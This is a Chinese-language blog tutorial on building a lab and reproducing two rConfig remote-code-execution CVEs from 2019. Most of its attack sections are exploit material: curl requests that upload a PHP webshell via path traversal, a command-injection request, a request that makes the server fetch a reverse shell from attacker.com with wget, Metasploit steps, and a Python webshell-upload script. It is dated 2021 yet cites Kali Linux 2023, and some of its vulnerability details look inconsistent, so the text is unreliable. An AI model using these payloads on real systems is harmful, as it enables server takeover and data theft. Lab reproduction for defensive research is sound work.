如何进行rConfig-CVE漏洞复现及环境搭建

发布时间:2021-12-10 16:32:24 作者:柒染
来源:亿速云 阅读:514
# 如何进行rConfig-CVE漏洞复现及环境搭建

## 前言

rConfig是一款开源的网络设备配置管理工具,广泛用于企业网络管理中。近年来,rConfig被曝出多个高危漏洞(如CVE-2019-16662、CVE-2019-16663等),这些漏洞可能导致远程代码执行(RCE)和敏感信息泄露。本文将通过完整的实验环境搭建和漏洞复现过程,帮助安全研究人员深入理解这些漏洞的利用方式。

---

## 一、漏洞背景

### 1.1 受影响版本
- rConfig 3.9.2及更早版本
- 关键CVE编号:
  - **CVE-2019-16662**:未授权RCE漏洞
  - **CVE-2019-16663**:认证后RCE漏洞

### 1.2 漏洞原理
- **文件上传绕过**:通过构造恶意请求绕过上传限制
- **命令注入**:`ajaxServerSettingsChk.php`等文件未过滤用户输入
- **路径遍历**:`lib/crud/userprocess.php`存在目录穿越

---

## 二、环境搭建

### 2.1 实验环境要求
- **操作系统**:Kali Linux 2023/Ubuntu 20.04
- **依赖组件**:
  - Apache 2.4+
  - PHP 5.6/7.0(需兼容旧版rConfig)
  - MySQL 5.7
- **网络配置**:NAT模式(建议使用虚拟机)

### 2.2 安装步骤

#### 步骤1:下载rConfig 3.9.2
```bash
wget https://github.com/rconfig/rconfig/archive/v3.9.2.zip
unzip v3.9.2.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/rconfig-3.9.2

步骤2:配置数据库

CREATE DATABASE rconfig;
GRANT ALL PRIVILEGES ON rconfig.* TO 'rconfig'@'localhost' IDENTIFIED BY 'P@ssw0rd';
FLUSH PRIVILEGES;

步骤3:修改PHP配置

# /etc/php/7.0/apache2/php.ini
allow_url_fopen = On
allow_url_include = On

步骤4:完成安装

访问 http://localhost/rconfig-3.9.2/install 按向导完成安装。

注意:安装后务必删除install目录!


三、漏洞复现(CVE-2019-16662)

3.1 未授权文件上传漏洞

漏洞文件lib/crud/userprocess.php

复现步骤:

  1. 构造恶意请求上传PHP webshell:
curl -X POST "http://<target>/lib/crud/userprocess.php" \
  -F "file=@/tmp/shell.php" \
  -F "userid=../../../../../../../../var/www/html/shell"
  1. 验证上传成功:
curl http://<target>/shell.php -d "system=id"

3.2 命令注入漏洞

漏洞文件install/lib/ajaxHandlers/ajaxServerSettingsChk.php

复现步骤:

curl "http://<target>/install/lib/ajaxHandlers/ajaxServerSettingsChk.php" \
  -d "rootpw=1|id>&2"

四、漏洞复现(CVE-2019-16663)

4.1 认证后RCE漏洞

前置条件:需获取有效管理员凭证(默认admin/rconfig)

复现步骤:

  1. 登录后台获取Cookie
  2. 利用备份功能执行命令:
POST /commands.inc.php HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session_id>

backupDir=;/usr/bin/wget+http://attacker.com/revshell+-O+/tmp/revshell

五、防御建议

5.1 官方修复方案

5.2 临时缓解措施

# Apache配置示例
<Directory "/var/www/html/rconfig/lib/crud">
  Order Deny,Allow
  Deny from all
</Directory>

六、扩展实验

6.1 Metasploit模块利用

msf6 > use exploit/unix/webapp/rconfig_ajaxsave_rce
msf6 > set RHOSTS <target>
msf6 > exploit

6.2 漏洞利用自动化脚本

import requests

target = "http://192.168.1.100"
payload = "<?php system($_GET['cmd']);?>"

files = {'file': ('shell.php', payload)}
requests.post(f"{target}/lib/crud/userprocess.php", files=files)

结论

通过本实验,我们验证了rConfig多个高危漏洞的利用链。安全团队应重点关注: 1. 网络管理系统的输入验证 2. 最小权限原则的应用 3. 定期进行安全审计

法律声明:本实验仅限授权测试,未经许可不得对真实系统进行漏洞利用。


附录

”`

注:实际执行时需根据具体环境调整路径和参数,建议在隔离的虚拟化环境中操作。文中部分Payload已做无害化处理。

推荐阅读:
  1. Nginx 解析漏洞复现
  2. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

rconfig cve

上一篇:如何进行4399AT自动化测试工具环境搭建

下一篇:如何进行Revit二次开发环境平台的搭建

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》